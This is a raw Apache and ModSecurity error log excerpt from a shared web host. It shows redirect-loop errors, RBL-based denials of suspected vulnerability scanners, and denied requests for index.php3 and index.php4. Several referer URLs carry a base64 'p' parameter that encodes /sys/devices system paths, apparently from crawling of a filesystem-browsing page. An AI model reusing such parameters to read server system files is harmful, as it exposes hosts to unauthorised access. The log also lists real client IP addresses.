18:22:33.442876 2026] [core:error] [pid 646876:tid 647077] [client 104.37.28.162:53574] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace., referer: http://50-87-31-154.unifiedlayer.com/ [Sat Jun 13 18:22:33.442903 2026] [core:error] [pid 646876:tid 647077] [client 104.37.28.162:53574] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace., referer: http://50-87-31-154.unifiedlayer.com/ [Sat Jun 13 18:22:33.460703 2026] [security2:error] [pid 646876:tid 646978] [remote 17.246.15.13:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 13.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30SdyTkdrNlD40tSHOBAAAWmM"] [Sat Jun 13 18:22:33.585485 2026] [access_compat:error] [pid 646876:tid 646962] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vaW5wdXQwL3N1YnN5c3RlbS9pbnB1dDQvbW91c2UxL3Bvd2Vy [Sat Jun 13 18:22:33.585966 2026] [access_compat:error] [pid 646876:tid 646962] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vaW5wdXQwL3N1YnN5c3RlbS9pbnB1dDQvbW91c2UxL3Bvd2Vy [Sat Jun 13 18:22:33.704684 2026] [security2:error] [pid 715691:tid 715747] [remote 17.22.245.93:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 93.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30SbV-dFiaX9AtWiQbpAABPSU"] [Sat Jun 13 18:22:33.853169 2026] [access_compat:error] [pid 715691:tid 715740] [remote 57.141.14.33:52655] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:33.853439 2026] [access_compat:error] [pid 715691:tid 715740] [remote 57.141.14.33:52655] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:33.954490 2026] [security2:error] [pid 646876:tid 647123] [client 216.73.216.11:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 11.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/ext/date/tests/mktime_variation4.phpt"] [unique_id "ai30SdyTkdrNlD40tSHOCQAAAHM"] [Sat Jun 13 18:22:34.100321 2026] [access_compat:error] [pid 646876:tid 646933] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vZXZlbnQxL3N1YnN5c3RlbS9pbnB1dDI= [Sat Jun 13 18:22:34.100599 2026] [access_compat:error] [pid 646876:tid 646933] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vZXZlbnQxL3N1YnN5c3RlbS9pbnB1dDI= [Sat Jun 13 18:22:34.127589 2026] [access_compat:error] [pid 715691:tid 715754] [remote 57.141.14.5:30075] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:34.127895 2026] [access_compat:error] [pid 715691:tid 715754] [remote 57.141.14.5:30075] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:34.136301 2026] [access_compat:error] [pid 715691:tid 715784] [remote 57.141.14.37:64536] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:34.136548 2026] [access_compat:error] [pid 715691:tid 715784] [remote 57.141.14.37:64536] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:34.283869 2026] [access_compat:error] [pid 715691:tid 715758] [remote 57.141.14.86:57432] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:34.284148 2026] [access_compat:error] [pid 715691:tid 715758] [remote 57.141.14.86:57432] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:34.317092 2026] [security2:error] [pid 715691:tid 715835] [remote 17.241.75.130:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 130.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30SrV-dFiaX9AtWiQbxgABb3w"] [Sat Jun 13 18:22:34.408037 2026] [core:error] [pid 646876:tid 647079] [client 104.171.145.182:4538] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace. [Sat Jun 13 18:22:34.408063 2026] [core:error] [pid 646876:tid 647079] [client 104.171.145.182:4538] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace. [Sat Jun 13 18:22:34.489477 2026] [access_compat:error] [pid 715691:tid 715774] [remote 57.141.14.84:35234] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:34.489763 2026] [access_compat:error] [pid 715691:tid 715774] [remote 57.141.14.84:35234] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:34.562372 2026] [access_compat:error] [pid 715691:tid 715800] [remote 57.141.14.51:31294] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:34.562844 2026] [access_compat:error] [pid 715691:tid 715800] [remote 57.141.14.51:31294] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:34.651460 2026] [security2:error] [pid 715691:tid 715767] [remote 17.246.19.187:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 187.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30SrV-dFiaX9AtWiQb2gABYzg"] [Sat Jun 13 18:22:34.662214 2026] [access_compat:error] [pid 646876:tid 646884] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9kZXZpY2Uvc3Vic3lzdGVtL2RldmljZXMvTE5YQ1BVOjBl [Sat Jun 13 18:22:34.662675 2026] [access_compat:error] [pid 646876:tid 646884] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9kZXZpY2Uvc3Vic3lzdGVtL2RldmljZXMvTE5YQ1BVOjBl [Sat Jun 13 18:22:34.790321 2026] [security2:error] [pid 715691:tid 715827] [remote 17.241.227.11:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 11.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30SrV-dFiaX9AtWiQb3wABcnQ"] [Sat Jun 13 18:22:34.850609 2026] [access_compat:error] [pid 715691:tid 715832] [remote 57.141.14.66:57726] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:34.850912 2026] [access_compat:error] [pid 715691:tid 715832] [remote 57.141.14.66:57726] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:35.029432 2026] [access_compat:error] [pid 715691:tid 715795] [remote 216.73.216.182:65257] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:35.029890 2026] [access_compat:error] [pid 715691:tid 715795] [remote 216.73.216.182:65257] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:35.184968 2026] [access_compat:error] [pid 646876:tid 646942] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9kZXZpY2Uvc3Vic3lzdGVtL2V2ZW50NS9zdWJzeXN0ZW0vaW5wdXQyL2RldmljZQ== [Sat Jun 13 18:22:35.185255 2026] [access_compat:error] [pid 646876:tid 646942] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9kZXZpY2Uvc3Vic3lzdGVtL2V2ZW50NS9zdWJzeXN0ZW0vaW5wdXQyL2RldmljZQ== [Sat Jun 13 18:22:35.362500 2026] [security2:error] [pid 715691:tid 715775] [remote 17.241.75.140:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 140.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30S7V-dFiaX9AtWiQb8wABDEA"] [Sat Jun 13 18:22:35.486935 2026] [security2:error] [pid 715691:tid 715817] [remote 220.181.108.84:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 84.108.181.220.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30S7V-dFiaX9AtWiQb9QABRGo"] [Sat Jun 13 18:22:35.694222 2026] [access_compat:error] [pid 646876:tid 646990] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9kZXZpY2Uvc3Vic3lzdGVtL2V2ZW50MC9zdWJzeXN0ZW0vbW91c2UwL3Bvd2Vy [Sat Jun 13 18:22:35.694510 2026] [access_compat:error] [pid 646876:tid 646990] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9kZXZpY2Uvc3Vic3lzdGVtL2V2ZW50MC9zdWJzeXN0ZW0vbW91c2UwL3Bvd2Vy [Sat Jun 13 18:22:35.698680 2026] [security2:error] [pid 646876:tid 646963] [remote 17.246.23.17:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 17.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30S9yTkdrNlD40tSHOKQAAElQ"] [Sat Jun 13 18:22:35.761574 2026] [security2:error] [pid 646876:tid 646979] [remote 17.22.237.234:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 234.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30S9yTkdrNlD40tSHOLAAAPGQ"] [Sat Jun 13 18:22:35.970490 2026] [access_compat:error] [pid 646876:tid 646949] [remote 57.141.14.107:43315] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:35.970987 2026] [access_compat:error] [pid 646876:tid 646949] [remote 57.141.14.107:43315] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:36.022413 2026] [security2:error] [pid 715691:tid 715749] [remote 17.246.23.41:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 41.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30TLV-dFiaX9AtWiQcAwABYic"] [Sat Jun 13 18:22:36.058972 2026] [access_compat:error] [pid 715691:tid 715794] [remote 57.141.14.8:57227] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:36.059464 2026] [access_compat:error] [pid 715691:tid 715794] [remote 57.141.14.8:57227] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:36.235101 2026] [access_compat:error] [pid 646876:tid 646931] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vbW91c2UwL3N1YnN5c3RlbS9ldmVudDYvcG93ZXI= [Sat Jun 13 18:22:36.235535 2026] [access_compat:error] [pid 646876:tid 646931] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vbW91c2UwL3N1YnN5c3RlbS9ldmVudDYvcG93ZXI= [Sat Jun 13 18:22:36.399569 2026] [access_compat:error] [pid 646876:tid 646964] [remote 57.141.14.45:54930] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:36.400030 2026] [access_compat:error] [pid 646876:tid 646964] [remote 57.141.14.45:54930] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:36.420946 2026] [security2:error] [pid 715691:tid 715729] [remote 17.241.75.9:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30TLV-dFiaX9AtWiQcIQABbhM"] [Sat Jun 13 18:22:36.517596 2026] [access_compat:error] [pid 715691:tid 715818] [remote 57.141.14.2:40795] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:36.517949 2026] [access_compat:error] [pid 715691:tid 715818] [remote 57.141.14.2:40795] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:36.636868 2026] [security2:error] [pid 715691:tid 715753] [remote 17.22.245.103:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 103.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30TLV-dFiaX9AtWiQcKAABcys"] [Sat Jun 13 18:22:36.720472 2026] [access_compat:error] [pid 646876:tid 646957] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vZXZlbnQzL2RldmljZS9zdWJzeXN0ZW0vZXZlbnQ2 [Sat Jun 13 18:22:36.720805 2026] [access_compat:error] [pid 646876:tid 646957] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: 